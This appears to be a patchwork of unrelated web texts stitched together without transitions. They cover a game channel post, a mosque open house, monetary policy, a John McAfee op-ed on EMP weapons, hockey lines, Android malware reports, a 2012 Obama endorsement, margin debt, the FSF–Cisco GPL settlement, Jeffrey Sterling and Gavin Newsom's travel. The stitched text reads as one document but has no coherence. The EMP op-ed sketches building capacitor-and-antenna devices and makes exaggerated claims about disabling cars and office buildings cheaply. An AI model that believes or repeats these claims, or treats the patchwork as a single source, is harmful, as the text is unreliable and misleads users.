The latest patch gave us a lot of goodies and even a new start scene. And I won’t even talk about the meat grinder and the holiday special! That was quality content and for free. I’m at the point I would gladly buy a DLC for this game, just to support the developers.
That’s why I wanted to do a small series about this gem. They deserve it. Maybe I don’t have many viewers, I’m just starting after all, but the little that I have should know about this game!
Check out the store page below if you don’t already own the game. And I include a couple of videos to give you an idea about the content.
“In a time when we’re seeing an increase in hate speech and hate crimes against American Muslims the best thing we can do is to show love to our neighbor,” Edward Ahmed Mitchell, Executive Director of Council on Islamic Relations-Georgia, told WTOC.com on Sunday, March 12.
Mitchell was speaking as mosques across the entire state of Georgia opened their doors for anyone in the community to learn more about their religion.
The Islamic Center of Savannah opened its door and welcomed people to a meet and greet style open house.
They taught the diverse crowd about Islam, allowed people to take a tour of the mosque and debunked common myths about terrorists and how violence goes against their religion.
“I see all of these people here supporting us, I feel so happy about that, and I feel like this is America,” said Fatimah Alhatemi, Mosque Member.
“I know America is a country of immigrants and all of us here are immigrants, we came from everywhere and this is how we make America great.”
The event was co-hosted by the Savannah Area Young Republicans, who attended the event to learn more than what is shown on television.
“We all got to learn a little more about each other and realize that whether we’re republican or Muslim, we’re all Americans and that’s what’s important,” Stephen Plunk with the Savannah Area Young Republicans said.
“Understanding between different groups who all live in one community and then once the travel ban came down it was even more imperative than ever to go ahead and get this off the ground as quickly as possible.”
“The countries around them they don’t allow them and then here if you ban them from coming where do they go? They don’t have anywhere else to go, so I would like please to remove the ban,” said Alhatemi.
Mitchell, with CAIR, added that actions speak louder than words and he wants people to see Muslims in a better light and see they’re just like you and me.
What Should Be Done?
In this regard, I guess what I'm asking is the following. Is there any way of avoiding using the blunt instrument that is monetary policy, with or without a JG [Job Guarantee] (although having a JG probably makes monetary policy less brutal)?
Is it even theoretically possible to put aside monetary policy and solely use fiscal policy (although the delineation of monetary and fiscal policy is problematic), or is it by definition impossible, living in the world that we do? There are few choices and having a blunt instrument is better than having no instrument at all.
The decline of unionisation is plausibly related to lower wage inflation. To what extent this is the result of government policy, it cannot be traced to fiscal or monetary policy stances.
Indexation of prices and wages to inflation will have turn one-time price level shocks (for example, from an oil price spike) into ongoing inflation. The decline of strong unions, as well as the reduced role of the government in developed economies presumably reduced the amount of indexation within the economy over recent decades.
Trade policy has led to lowered prices of traded manufactured goods relative to domestically produced services within the developed economies. The economic effect occurred almost solely within the private sector, the involvement of the government was solely regulatory change.
In the United States, there has been an ongoing explosion in the cost of going to university, which can only be described as a bubble. Rising education costs has been one of the factors that offset the downward bias to good prices created by international trade. The proximate cause was an "arms race" in spending driven by overreaching administrators who are emulating the empire-building tactics of private sector CEOs. This bubble was partially funded by the rise in university endowments, a side effect of rising asset prices. However, the major source of funding has been from student loans. The government is involved with such loans, but it does not appear to be conventional fiscal policy, as the actual fund flows are from the students themselves. (The government is taking on off balance sheet contingent liabilities by guaranteeing loans.)
The Canadian housing bubble has been driven by administrative decisions taken by the Canadian Mortgage and Housing Corporation (CMHC) - at the behest of the Federal Government. There was a consensus across political parties that Canada needed to make CMHC policies more friendly towards the real estate sector, which entailed a significant relaxation of lending standards for mortgages. The bubble was thus unleashed. The Canadian economy could have been put on a more sustainable growth path by having kept more sensible lending policies. A tightening of standards has occurred has been attempted, but the question arises whether this was done too late. Although low interest rates helped the bubble form, it could have been controlled without affecting interest policy.
Monetary Policy. Policy rates are stuck near the zero bound, and Quantitative Easing is largely pointless (except to the extent it can reduce spreads, such as the Fed purchase of private assets, or ECB purchase of peripheral debt). Monetary policy is going to be irrelevant for as far as the eye can see.
Policy rates are stuck near the zero bound, and Quantitative Easing is largely pointless (except to the extent it can reduce spreads, such as the Fed purchase of private assets, or ECB purchase of peripheral debt). Monetary policy is going to be irrelevant for as far as the eye can see. Fiscal Policy. The developed economies can undertake mild expansionary fiscal policies (or austerity policies) without there being a measurable change in inflation. Peripheral European countries such as Greece have achieved mild deflation, but doing that required policies that would only make sense to European policymakers. Extremely expansionary fiscal policies could rekindle inflation, but such policies do not appear to be politically viable. Given the hefty underemployment present within the developed economies, the policies required to tighten the job markets would be well outside of the norms that we are accustomed to. In other words, a fiscal programme that would be widely described as "radical" would probably only be about half of the size needed to cause a measurable uptick in inflation.
"What if the individual is not concerned with precision strikes and merely wants to take out an entire city block or the entire city? Well, that technology is readily available, cheap, and simple to construct." - John McAfee
Anyone can buy an EMP gene­­­rator on Amazon for less than $300 (£200) – and I must point out that there are valid uses for EMP generators in a contained environment – that could not bring down America, but it could certainly destroy every electr­onic device in your neighbour's home (and yours as well unfortunately).
But the Amazon device that I referenced is way overpriced for its limited capabilities.
For less than $450, anyone (with a fifth-grade education) could build a device in less than half an hour that could destroy all of the electronics in a 20-storey office building – permanently. There are more than 50,000 sites on the internet that provide detailed plans, for free, on how to build an EMP generator that can destroy everything from a single cell phone, to a moving car, to an entire city.
To be fair, destroying all of the electronics in a city, say, the size of Cincinnati, assuming one purchased cheap Chinese components, would cost upwards of $60,000. But a few people, chipping in their savings, might easily be able to raise such funds. I don't know for sure. But I do know that if someone had the funds, and the desire, and two to three days of assembly time to spare, it would be a piece of cake.
How does an EMP generator work? Electromagnetic pulses (EMPs) are created by sudden, short bursts of an electromagnetic field. Capacitors are designed to create a sudden burst of electricity. Combined with a directional, high gain antenna, they can create an EMP. Up until recently, capacitors were generally measured in terms of microfarads (millionths of a farad) – the farad being the measure of the amount of electricity stored in the capacitor. Beginning a few years ago, however, the Chinese began creating capacitors that have reached 3,000 farads and 350 volts. Just one, combined with a high-gain directional antenna, could disable a speeding car from more than 100ft away. If these capacitors were purchased in volume, they could be combined in parallel or in series to create an EMP device that could fit in a small suitcase capable of taking out a high-rise office building – at a cost less than $500. A van full of them could take out the vast majority of a medium-sized city, causing havoc to power stations, water processing plants, communications, transportation and other vital infrastructure.
EMPs are short bursts of electromagnetic radiation. Our modern electronics are highly susceptible to such short bursts of radiation – the shorter the burst, the more damage done. The first EMP testing in America happened over Hawaii in the early 1960s, with a very tiny, high altitude nuclear explosion.
The test knocked out a few city blocks of lighting and did limited other damage. This was in the days before semiconductors had even been dreamed about. Semiconductors are millions of times more susceptible to EMP pulses than street lights. Had this test been done today, Hawaii would be in chaos.
As we move further north, the earth's electromagnetic field strengthens considerably, which amplifies any EMP event. A high-altitude nuclear explosion over Washington would be nearly 20 times more powerful than the same explosion over Hawaii.
This is something to keep in mind if you are a nation with heavy population in northern latitudes. The further north that an EMP event occurs, the more powerful will be its effects. Most of the developed world occupies the higher northern latitudes. Something to keep in mind.
In any case, back to our subject. EMPs can be generated in many ways. Much has been said about nuclear EMPs, but that threat concerns me far less than other, more specific means of generating EMPs. The US recently announced our own EMP weapon, which can be carried aboard a missile. Using a technology based on hydraulically compressing and decompressing rods made of specific elements, the device is able to create multiple EMPs very quickly.
The weapon can be focused to take out individual buildings within a city and can take out dozens of individual buildings in a single pass of the missile. I will admit that such technology is beyond the reach of the average individual. But what if the individual is not concerned with precision strikes and merely wants to take out an entire city block or the entire city? Well, that technology is readily available, cheap, and simple to construct.
There are, of course many other ways to create an EMP. My chief technology advisor, Chris Roberts, just demonstrated a design for an EMP generator using photostrobe caps which appears to be twice as efficient as general purpose capacitors and takes up a tenth of the space. You could carry a small one in your pocket, walk down the halls of any office, and leave a trail of destroyed devices behind you.
I am not going to give a course on constructing EMP weapons. I am only trying to raise the awareness of the world to a real and imminent threat.
I also received many questions about how an EMP could kill people. The answer is easy. A large-scale localized attack that involved all of our power stations would leave us all permanently without power. An attack that included our water processing plants would leave us without potable water, except that which we could purchase at the supermarket.
U.S. Rep. Vern Buchanan, R-Fla., introduced the Veterans ID Card Act earlier this year. Buchanans bill would ensure all veterans receive ID cards from the VA instead of just those who served 20 years in the armed forces or are seeking medical treatment for service-related wounds. Buchanan said veterans are forced to carry DD-214 paperwork, which contains sensitive information including Social Security numbers, and an ID card would be more convenient and would do a better job of keeping their personal information secure.
Over the years, I have heard from countless veterans in Florida and across the country who have expressed frustration over their inability to document their service to our country without carrying around their official military records, Buchanan said on Monday. My bill would correct that problem, enabling all veterans to obtain their own simple, standardized ID card at no cost to the taxpayers.
Buchanan insisted his bill was budget neutral since veterans who opted for the ID card would have a small fee which the VA secretary would examine every five years.
Congressional co-sponsors of the bill included U.S. Rep. Jeff Miller, R-Fla., the chairman of the House Veterans Affairs Committee and U.S. Rep. Corrine Brown, D-Fla., the ranking Democrat on the committee. Other congressional representatives from Florida who co-sponsored the bill include Republican U.S. Reps. Ander Crenshaw, Ron DeSantis, Mario Diaz-Balart, David Jolly, Bill Posey, Dennis Ross and Ted Yoho, and Democratic U.S. Reps. Ted Deutch and Alcee Hastings. The bill has also won the backing of veterans groups including AMVETS and Veterans for Common Sense (VCS).
Anthony Hardie, the director of VCS, cheered the House vote on Monday.
VCS was an immediate supporter of this smart and helpful bill, Hardie said. We thank Rep. Buchanan and the many House cosponsors for leading the way to making this good idea a reality.
Buchanans office told Sunshine State News on Monday that they are speaking to various senators and expect a sponsor in the Senate in the immediate future.
As the Wild showed last week with Erik Haula, one practice may be enough for him to return to game action Tuesday against the Calgary Flames. The Wild opens a three-game homestand.
Parise has been skating hard back in the Twin Cities with Wild skating and skills instructor Andy Ness.
The Wild reassigned Christoph Bertschy this morning (kept Zack Mitchell, which means he has shown something to impress the coaching staff), so either Parise is returning, Joel Eriksson Ek will play his 10th game or the Wild plans to recall another forward.
Hopefully we'll have more clarity on Parise after practice, but his return is the likeliest scenario.
Lines today:
Niederreiter-Staal-Coyle
Granlund-Koivu-Zucker
Parise-Haula-Pominville
Eriksson Ek-Graovac-Mitchell-Stewart
GM Chuck Fletcher is in Toronto for the Hall of Fame inductions. Pat Quinn was one of his dad Cliff Fletcher's captains. Also, the GM's meetings are there.
Eriksson Ek remains for now.
The roundups have stoked fear among the Chinese migrants and anger at home, generating more than one million posts about the topic on one popular microblog. Chinese officials said they had dispatched personnel to mine sites to investigate, while the authorities in Guangxi, the Chinese region that many of the miners call home, have urged residents not to go to Ghana. The Chinese Embassy has agreed to pay bail, fines for breaking the immigration law and passage home for scores of the miners.
“We went to hide in cocoa farms for three days,” said Shi Jian, a 34-year-old miner from Guangxi Province in southern China. “There was no food, so we ate yams only.”
“When the military police came, they first took whatever valuables they could take — gold, cash,” Mr. Shi said. “Then they poured out the diesel we keep on the site to power the generators and burned all of our excavators and camps.”
A long furtive walk in the bush preceded a nighttime dash to a Chinese-owned company in Obuasi that sheltered him from the authorities. “We scurried to this company at night like rats crossing streets.”
Others described a huddling together in a large group, hoping to evade detection.
“There is no rest,” the woman who hid on a cocoa farm said late last week. Fearing reprisals, she gave only her last name, Li, and took deep breaths as she described her predicament. “We have to move on to a new spot in the cocoa farm every hour because we don’t want the villagers to see us.”
Here are the reports, along with some highlights:
Juniper Networks: Mobile Malware Development Continues To Rise, Android Leads The Way
The main reason for the malware epidemic on Android is because of different approaches that Apple and Google take to police their application stores. Android’s open applications store model, which the lacks code signing and an application review process that Apple requires, makes it easy for attackers to distribute their malware.'
Kaspersky Labs: IT Threat Evolution in Q3 2011: From Malware in QR Codes to Targeted Attack on Corporations
'Individual users should also be on their guard; the number of malicious programs for mobile devices is increasing at an alarming rate. In particular, the last quarter saw the share of all mobile malware in 2011 targeting Android OS reach 40%, firmly establishing this platform as the leading target of malicious programs.
McAfee: Third Quarter 2011 [PDF]
Last quarter the Android mobile operating system (OS) became the most "popular" platform for new malware. This quarter Android became the exclusive platform for all new mobile malware. The Symbian OS (for Nokia handsets) remains the platform with the all-time greatest number of malware, but Android is clearly today's target.
Here's another report, from February, from Symantec:
Symantec: Android Threats Getting Steamy
To avoid becoming a victim of such malicious Android applications, we recommend that you only use regulated Android marketplaces for downloading and installing Android applications. Also, in the Android OS application settings there is an option to stop the installation of non-market applications, which can help to prevent against this type of attack. Checking user comments on the marketplace can also assist in determining if the application is safe. Lastly, always check the access permissions being requested during the installation of any Android applications. If they seem excessive for what the application is designed to do, it would be wise to stop installing the application.
However, not everyone things we should be worried. Chris DiBona, Open Source Programs Manager at Google, has some strong words to offer and thinks that Android users don't need protection from malware:
Yes, virus companies are playing on your fears to try to sell you bs protection software for Android, RIM and IOS. They are charlatans and scammers. IF you work for a company selling virus protection for android, rim or IOS you should be ashamed of yourself. ... If you read an analyst report about 'viruses' infecting ios, android or rim, you now know that analyst firm is not honest and is staffed with charlatans. There is probably an exception, but extraordinary claims need extraordinary evidence. If you read a report from a vendor that trys to sell you something based on protecting android, rim or ios from viruses they are also likely as not to be scammers and charlatans.
The way I look at it is that there is a problem - a big problem - in the way that Google is curating the Android marketplace. It's too easy for the bad guys to get malware to within a click or so away from end users. Malware might not be a big problem in the US yet, certainly when compared to China and Russia, but with 200 million Android devices out there, and over 500,000 being activated each day, it's the wrong time to be burying our heads in the sand.
So, what's the solution? I see three possible solutions:
Educate users about the dangers ... easier said than done!
Google cleans up the Android Marketplace and makes it safe for users (this doesn't protect users from 'alternative' marketplaces that might be infested with malware)
Other companies step in and offer software to protect users from themselves
Thoughts?
Effects, resolution, and framerate in Pro modes are color coded versus standard PS4.
Games using CBR have their resolutions listed as e.g. 2160 c . Standard rendering is listed as e.g. 2160 p .
t
g
Games that support HDR are tagged to the right of their title bar in the list.
Games are listed in alphabetical order by title.
Boost Mode opens a portion of the Pro's extra power to all games.
The games that Boost Mode affects have smaller benefits, and I can't research them as thoroughly.
Yes, loading times are improved over standard PS4 hardware.
The majority of games have better framerates on Pro versus standard PS4, but only a few raise the target framerate by 30fps.
Games are only included in the main lists if I can find proof of specific improvements.
In his interview with Sky Sports he then completely disrespected anybody who has gone through depression and mental illness by using words such as "nutcase" or "crazy". We have all said things we regret in the media but I find it staggering he is so ill-informed that he used those words. I have friends who have been diagnosed with depression. They are not nutcases or crazy. They have picked up an illness that is invisible to others but can be debilitating. We have seen other England cricketers suffer from depression and I do not think Trott realises just how important an issue it is.
Burnt out: Jonathan Trott walks off from the Gabba. Credit:AFP
I have no doubt he was going through hard times in Australia but as professional sportsmen playing in a high-profile, intense series such as the Ashes against good opposition you are going to endure stress when your form goes. It is part of the job. As a player there were many times I went back to my hotel room at night and broke down because I did not know where my next run was going to come from. I thought I was suffering from depression but I was just out of form. I thought my career was over because I felt I had been found out. I confessed to a couple of teammates but I never went to the captain and coach and said I'm giving up and have to go home. As captain I had players break down in front of me because they feared their profession was coming to an end.
Posted
An Albanian woman lived for a dozen years with a bullet lodged below her cheekbone without noticing it, news agency ATA has reported.
Mrike Rrucaj was sleeping when a bullet flew into her house in 1997, the news agency reported, at a time when anarchy was rife in Albania following protests against fraudulent pyramid schemes.
Many took up arms to regain their savings in an armed rebellion in which more than 2,000 were killed.
"I was covered in blood and my husband took me to the emergency where there were many people injured," Ms Rrucaj recalled of the incident.
"But the doctor told me that the bullet came out and cleaned the wound."
Only recently did Ms Rrucaj begin experiencing headaches, prompting her to seek medical help.
After an X-ray showed the bullet in her jaw area, she had surgery to remove it.
- AFP
He has owned the economic disaster he inherited ever since, fair or not. And that fact is the core rationale behind Mitt Romney’s candidacy. To us, that is not enough.
Lets face it: Neither candidate has a credible strategy to spark a more robust recovery in the short term. Financial crises take many years to overcome. Most economists, including Moody’s Analytics, expect only gradual progress, no matter who wins.
But the distinctions between Obama and Romney are profound when it comes to America’s prospects over the longer term. Romney is sticking with a hard-line conservative program — lower tax rates and a huge military buildup that gives the Pentagon far more than it asked for. That would inevitably cause the debt to explode.
Enough. America has been living beyond its means, in good times and bad. We have cut taxes while waging two wars — a first in our history. We have failed utterly to face the tough choices on entitlements, even as a flood of Baby Boomers begins to draw benefits.
At the same time, we have neglected nation-building at home. Our infrastructure is decaying and our schools are falling steadily in world rankings. It was once a given that an American born in any station could move up the ladder, but we lag even by that defining measure of economic justice.
Every bipartisan group that has examined this has prescribed a painful mix of spending cuts and tax increases. That’s because we are in such a deep hole that it will take $4 trillion just to stabilize the debt as a share of the economy.
To see what that means, look at the most prominent bipartisan plan, the Simpson-Bowles compromise. It would increase the gas tax by 15 cents a gallon. It would chop Social Security benefits, along with Medicare and Medicaid. It would cut back on sacred tax breaks for home mortgage payments. Discretionary programs would take a beating, from highways to national parks.
Instead of facing these hard truths, Romney runs from them. He would cut income tax rates by 20 percent, and says he’ll cover the cost by closing magical loopholes he won’t name. Even if that were true, his goal is to break even, ignoring the need for more revenue.
His military buildup would dwarf Ronald Reagan’s, adding $2 trillion in spending over the next decade. The $4 trillion hole would deepen to more than $6 trillion.
He then promises to restore the $700 billion cut in Medicare growth. That digs the hole to nearly $7 trillion. And if closing loopholes doesn’t cover the cost of his enormous cut in tax rates, that cost would be layered on top.
This is not an honest plan. It is an undisciplined jumble of political planks — some designed to woo his base during the primary, others to attack the president during the general election.
Obama’s problem on the debt has been his lack of courage. He appointed the Simpson-Bowles commission, then punted on its report — the biggest mistake of his presidency.
But he has at least staked out the reasonable middle ground, embracing the bipartisan framework of a mix of tax increases and spending cuts. When and if the Republican fever breaks, he is clearly ready to cut a deal.
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On this decisive issue of the national debt, it is not a close call. We endorse President Obama.
And while the debt is at the top of our list, he has scored important wins in other areas, too. He is ending two wars, and has crippled al Qaeda by killing Osama bin Laden and conducting an aggressive campaign of attacks with drones and special forces.
His health care reform will bring coverage to 31 million people and gives consumers new powers against insurers. Doubling automobile efficiency will lead to historic gains in clean air and energy independence.
He has broken the hold of the teachers unions over the Democratic Party, sparking an unprecedented wave of school reform with a cleverly designed policy that offers grants to states that innovate. He ended the inane policy of kicking homosexuals out of the military, and has endorsed gay marriage. And his decision to bail out the auto industry helped save the economy from an even deeper dive.
He never delivered on promised immigration reform or climate change. And while he’s faced a Congress in the grasp of extremists, he’s never found an effective answer, or even made them pay a price. He is, in the end, a good president but not a great one.
Romney was an effective governor in Massachusetts, and few people question his competence. His charity through his church has been impressive.
But his policies consistently favor the wealthy over the middle class, and the budget plan drafted by his running mate, U.S. Rep. Paul Ryan, relies on spending cuts that overwhelmingly land on low-income families. His plan to starve Planned Parenthood is extremist nonsense that will leave many women without basic cancer screening.
He has flipped positions on abortion and gun control, on health care and taxes, on gay rights and climate change. The list goes on and on, and reflects a serious character flaw. Yes, Abraham Lincoln compromised on slavery and Reagan compromised on taxes. Good politicians stay flexible to manage their coalitions.
But Romney’s flip-flops are chronic and self-serving. He is consistent only in the way he floats with the political winds. That is not leadership; it is pandering. And it means he can’t be trusted.
A final concern: Romney is an unsteady player in global affairs, striking a belligerent tone in almost every theater and relying on many of the neocon advisers behind the disastrous policies of George W. Bush. That is unnerving, especially when combined with his inexperience and his promised military buildup.
Margin debt is the embodiment of stock market risk. As reported by the New York Stock Exchange today, it jumped 3.5%, or $19.5 billion, in November from October, to a new record of $580.9 billion. After having jumped from one record to the next, it is now up 16% from a year ago.
Even on an inflation-adjusted basis, the surge in margin debt has been breath-taking: The chart by Advisor Perspectives compares margin debt (red line) and the S&P 500 index (blue line), both adjusted for inflation (in today’s dollars). Note how margin debt spiked into March 2000, the month when the dotcom crash began, how it spiked into July 2007, three months before the Financial-Crisis crash began, and how it bottomed out in February 2009, a month before the great stock market rally began:
Margin debt, which forms part of overall stock market leverage, is the great accelerator for stocks, on the way up and on the way down. Rising margin debt – when investors borrow against their portfolios – creates liquidity out of nothing, and much of this new liquidity is used to buy more stocks. But falling margin debt returns this liquidity to where it came from.
Leverage supplies liquidity. But it isn’t liquidity that moves from one asset to another. It is liquidity that is being created to be plowed into stocks, and that can evaporate just as quickly: When stocks are dumped to pay down margin debt, the money from those stock sales doesn’t go into other stocks or another asset class, doesn’t become cash “sitting on the sidelines,” as the industry likes to say, and isn’t used to buy gold or cryptocurrencies or whatever. It just evaporates without a trace.
After stirring markets into an eight-year risk-taking frenzy, the Fed is now worried that markets have gone too far. Among the Fed governors fretting out loud over this was Dallas Fed President Robert Kaplan who recently warned about the “record-high levels” of margin debt, along with the US stock market capitalization, which, at 135% of GDP, is “the highest since 1999/2000.”
“In the event of a sell-off, high levels of margin debt can encourage additional selling, which could, in turn, lead to a more rapid tightening of financial conditions,” he mused.
The growth in margin debt has far outpaced the growth of the S&P 500 index in recent years. The chart below (by Advisor Perspectives) shows the percentage growth of margin debt and the S&P 500 index, both adjusted for inflation:
In other words, the stock market is far more leveraged than it has ever been before.
Stock-market leverage, however, is broader than just margin debt. Stocks can be leveraged in many ways. Larger players, such as hedge funds, can borrow at the institutional level to fund stock purchases. Stock market leverage includes so-called securities-based loans (SBLs), offered by financial firms to their clients. These loans can be used to buy anything, not just stocks. But like margin debt, there are margin requirements, and when stocks fall, margin calls and forced selling set in to pay down the debt, which accelerates the rout.
SBLs are called “shadow margin” because they’re not reported in an overall manner and no one knows the overall magnitude. But occasionally, the risks they pose – though they’re considered low-risk – come to the foreground in a most spectacular manner.
This happened when the bankers of Christo Wiese — the former chairman and largest shareholder of Steinhoff International Holdings — suddenly discovered that almost all of their collateral for a €1.6-billion SBL they’d made to him had evaporated as the €3.2 billion in Steinhoff shares he’d pledged had gotten totally crushed, essentially to nothing. Now the banks are licking their wounds. Read… Margin Debt, Backed by Enron-Déjà-Vu Steinhoff Shares, Hits BofA, Citi, HSBC, Goldman, BNP
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The FSF filed a lawsuit against Cisco last year, alleging that Linksys—which is owned by Cisco—routinely failed to adhere to the requirements of GNU's General Public License (GPL), under which Linux and other open source software programs are distributed. The GPL stipulates that recipients of a software program must be permitted to study, modify, and redistribute the underlying source code. According to the FSF, Linksys often declined to provide source code upon request or failed to provide the complete source code of GPL-licensed programs that it integrated into its networking hardware products.
The FSF began communicating with Cisco about the issue in 2003 and helped the company understand its licensing obligations. At the time, Cisco acknowledged its mistakes and attempted to rectify the problem. Linksys continued, however, to fall short of the requirements defined by the GPL. When talks between the FSF and Cisco broke down in 2008, the FSF filed a GPL infringement lawsuit against the company.
Cisco is a major contributor to the kernel and has been investing in community outreach efforts around some of its Linux-based products. As a highly active member in the open source community, Cisco should have known better than to disregard GPL compliance concerns. The FSF lawsuit was an embarrassment for the company and also raised the possibility that Cisco could potentially have lost its right to distribute GPL-licensed software. As we predicted in our coverage of the lawsuit last year, Cisco decided to settle the matter swiftly out of court.
In a statement issued on Wednesday, the FSF described the terms of the settlement and expressed satisfaction with the final outcome of the conflict.
"We are glad that Cisco has affirmed its commitment to the free software community by implementing additional measures within its compliance program and dedicating appropriate resources to them, further reassuring the users' freedoms under the GPL," said FSF executive director Peter Brown in a statement. "Our agreement results in making all of the relevant source code available in the fastest way possible."
This was the first time that the FSF has ever filed a lawsuit over GPL compliance failures relating to use of its own software. The Software Freedom Law Center (SFLC), however, has filed a steady stream of lawsuits against embedded hardware vendors on behalf of the developers of the Busybox project. These lawsuits have consistently been settled out of court.
The FSF and the SFLC believe in nonconfrontational enforcement and only escalate to litigation in cases where vendors are unwilling to cooperate. The obligations associated with distributing GPL-licensed software are not especially onerous, so companies are generally inclined to take the necessary steps when they are properly educated and it becomes clear to them that there are consequences for failing to do so. The swift resolution of the FSF's lawsuit against Cisco demonstrates the efficacy of this approach to enforcement.
Sterling, who worked as an African American case officer, was found guilty by a jury of committing multiple Espionage Act offenses when he exposed information about “Operation Merlin,” which involved passing flawed nuclear blueprints to Iran in order to get the country to work on building a nuclear weapon that would never function.
He left the CIA in 2002 and brought a claim against the CIA alleging racial discrimination. He appealed his case all the way to the Supreme Court in 2005. However, the government successfully had the case thrown out by invoking the “state secrets” privilege. The government has maintained that he leaked details about Operation Merlin in revenge for his discrimination lawsuit being dismissed.
Sterling was sentenced to three and a half years in prison on May 11. It is the longest sentence issued by a federal court during President Barack Obama’s administration.
Expose Facts, an advocacy organization that has mobilized support for Sterling, conducted an interview with Sterling, which aired on “Democracy Now!”.
Sterling recalls receiving information that there was a “possible leak of information” and “everyone” was “pointing a finger” at him. He needed to find some help.
He went to a local congressman, Clay, and one of his staff members looked at him and told him he should “just leave the country.” That hurt Sterling because the staff member was a black man working for a black representative and they were telling him not to stand up for his civil rights.
“You don’t run away. You stand up for yourself,” Sterling declares.
Sterling and his wife, Holly, describe what happened after Risen published details about “Operation Merlin” in a chapter of his book, State of War, in 2006. FBI agents came to their door.
“They flew me out to Virginia, and I went to FBI headquarters and was interrogated for seven hours,” Holly recalls. “And then, the next day they surrounded the home actually. They just went methodically through the home. They went to my family. They went to my employer. It’s incredibly intrusive and incredibly disturbing. You’re whole sense of security in your home and privacy was violated.”
Jeffrey mentions that he thought he would be arrested. He was not, and it was not until more than four years later that he was charged on January 6, 2011. At that point, he was arrested.
The trial started very soon after and was delayed as the government sought testimony from Risen. Sterling expresses how it bothered him that he was the defendant being prosecuted and the press transformed the case into the “Risen case,” which meant there was little discussion about how the government was going after him.
Sterling says that he is still “in shock” about the fact that he was found guilty by a jury. He adds that the government shut him up with his discrimination case, and “they’ve closed the door with the criminal case.”
He denies providing any information whatsoever to Risen and says nothing specifically about any interactions with Risen in the interview. What he does say is that he “reached out to the Senate intelligence committee” and expressed concerns. He thought it could have an impact on US soldiers deployed in Iraq. The committee had clearances to hear his concerns, which involved classified information.
Additionally, after the September 11th attacks, Sterling was angry and willing to drop his discrimination lawsuit if he could return to his job working for the CIA. John Brennan, who is now the director of the CIA, personally fired him. His effort to return was thwarted and he had no place to go for employment in Washington.
Government employees who face workplace retaliation become whistleblowers by challenging that treatment, as Sterling did. If he is not a whistleblower because he revealed information to Risen, then he is a whistleblower because he stood up to the CIA and was effectively silenced.
Holly explains in the interview that it is “incredibly difficult to watch him not being able to change the circumstances.” Her “greatest fear” is Jeffrey “going to jail.”
Her anguish and suffering, which will continue during Jeffrey’s time in prison, is one of the most heart-wrenching aspects of the war on whistleblowers. CIA whistleblower John Kiriakou’s wife, Heather, and his children experienced the pain that comes from separation for two years while Kiriakou was in prison.
The best the two of them can do is pledge to not let the government’s prosecution wreck their love for each other permanently.
Sterling’s defense argued prior to sentencing that he deserved leniency because he had already paid a high price for what he did. Since his arrest in 2011, Sterling “has been unemployed. Though he has tried repeatedly to gain employment, no employer wanted to hire anyone charged with espionage.” He has been unemployed for five years. He has spent all his savings trying to keep his house. He no longer feels like he can support his wife, who has stood by him.
At the end of the interview, Jeffrey confesses, “I am comfortable with myself, and the choices that I’ve made because I know I would not have done it any other way. I like who I see in the mirror.”
San Francisco Mayor Gavin Newsom chats before an address by US President Barack Obama and Vice President Joe Biden to US mayors February 20, 2009 in the East Room of the White House in Washington, DC. AFP PHOTO/Mandel NGAN (Photo credit should read MANDEL NGAN/AFP/Getty Images) less San Francisco Mayor Gavin Newsom chats before an address by US President Barack Obama and Vice President Joe Biden to US mayors February 20, 2009 in the East Room of the White House in Washington, DC. AFP ... more Photo: Mandel Ngan, AFP/Getty Images Photo: Mandel Ngan, AFP/Getty Images Image 1 of / 4 Caption Close Frequent-flier S.F. mayor draws fire on ground 1 / 4 Back to Gallery
Gavin Newsom has spent the equivalent of more than nine months traveling outside of California since he became mayor in 2004, in addition to his frequent in-state trips to Sacramento or Southern California.
His regular absences - particularly the recent ones that have coincided with ever-worsening news about the city's budget deficit - have prompted some accusations that Newsom seems more devoted to his own agenda than he is to San Francisco.
The mayor has been out of the state about 280 days since he was first elected, according to calendars and other documents requested by The Chronicle. In 2004, he only left the state for seven days, compared with 80 days in 2008 and 21 days already in the first two months of this year.
And as his run for governor heats up, the criticism is likely to grow. He'll be in Southern California for campaign events four days this week.
"That habit of being out of city or out of state is consistent with my impression of him as being a bit disengaged," Supervisor Ross Mirkarimi said. "His absence is felt quite a bit. His campaigning (for governor) dovetails with arguably the worst times ever with the current economic crisis."
High-profile expected
Still, many political pundits say Newsom doesn't appear to travel any more than his predecessors or other big-city mayors. Newsom says that traveling is a key part of his job, and local political analysts said San Francisco residents expect their mayor to have a high profile in the state and around the country.
"Judge me on my performance. All of these trips are very much in line with the job description," Newsom said. "Look at the last two months. I feel we've had an extraordinarily productive few months, and that's when I've been campaigning more for governor."
Each year, Newsom takes a couple of weeks of vacation, often to Hawaii. Last year, the mayor was married in Montana and went on a three-week African honeymoon.
At times his vacation plans have angered critics. In 2007, Newsom left town in November just hours after the massive Cosco Busan oil spill in the bay. A month later, he left town after the deadly Christmas tiger attack at the San Francisco Zoo.
But most of his traveling is professional. Every year, except 2004, he has attended the World Economic Forum in Davos, Switzerland, and toured at least one foreign city, often as a sister-city exchange. He also makes regular trips to the East Coast, usually New York and Washington.
Newsom's trips outside San Francisco are almost always funded by groups such as the Chamber of Commerce, although the mayor's security team, which travels everywhere with him, is paid with city money. Police officials have refused to release the cost of the security detail.
Newsom was out of the state for more than 20 percent of 2008, "and that's going to go up," said David McCuan, an associate political science professor at Sonoma State University. "It's not just a function of the 2010 gubernatorial election, but the Obama administration, too," he said. "If his trips are to D.C., the travel makes sense because San Francisco is such an important city."
The Chronicle's count of Newsom's out-of-state absences includes days when he was only gone for a few hours - for example, when he was in San Francisco for most of the day before getting on a red-eye flight to the East Coast.
Acting mayor
Each time the mayor leaves the state he must appoint an acting mayor in his absence. He almost always appoints one of his political allies on the Board of Supervisors.
It's not as easy to tell when he's traveling to other parts of the state. The mayor's office has long refused to provide detailed daily calendars, and Newsom doesn't always promote his quick jaunts to campaign in Los Angeles or vacation at Lake Tahoe, where his family has deep roots.
Political analysts say Newsom's travels are to be expected. San Francisco residents are used to electing mayors who become national leaders and even celebrities. Plus, big-city mayors often look to other cities for policy ideas, and Newsom makes frequent references to plans that he co-opts from other mayors, said University of San Francisco political scientist Corey Cook.
"We want people in other cities to be able to pick out our mayor in a photo. Our mayors are people like Willie Brown and (Dianne) Feinstein," Cook said. "One of the things that Newsom did very early was to show people he had the stature to be that type of figure."
That said, Cook said, it's not surprising Newsom's City Hall colleagues are becoming frustrated with his absences.
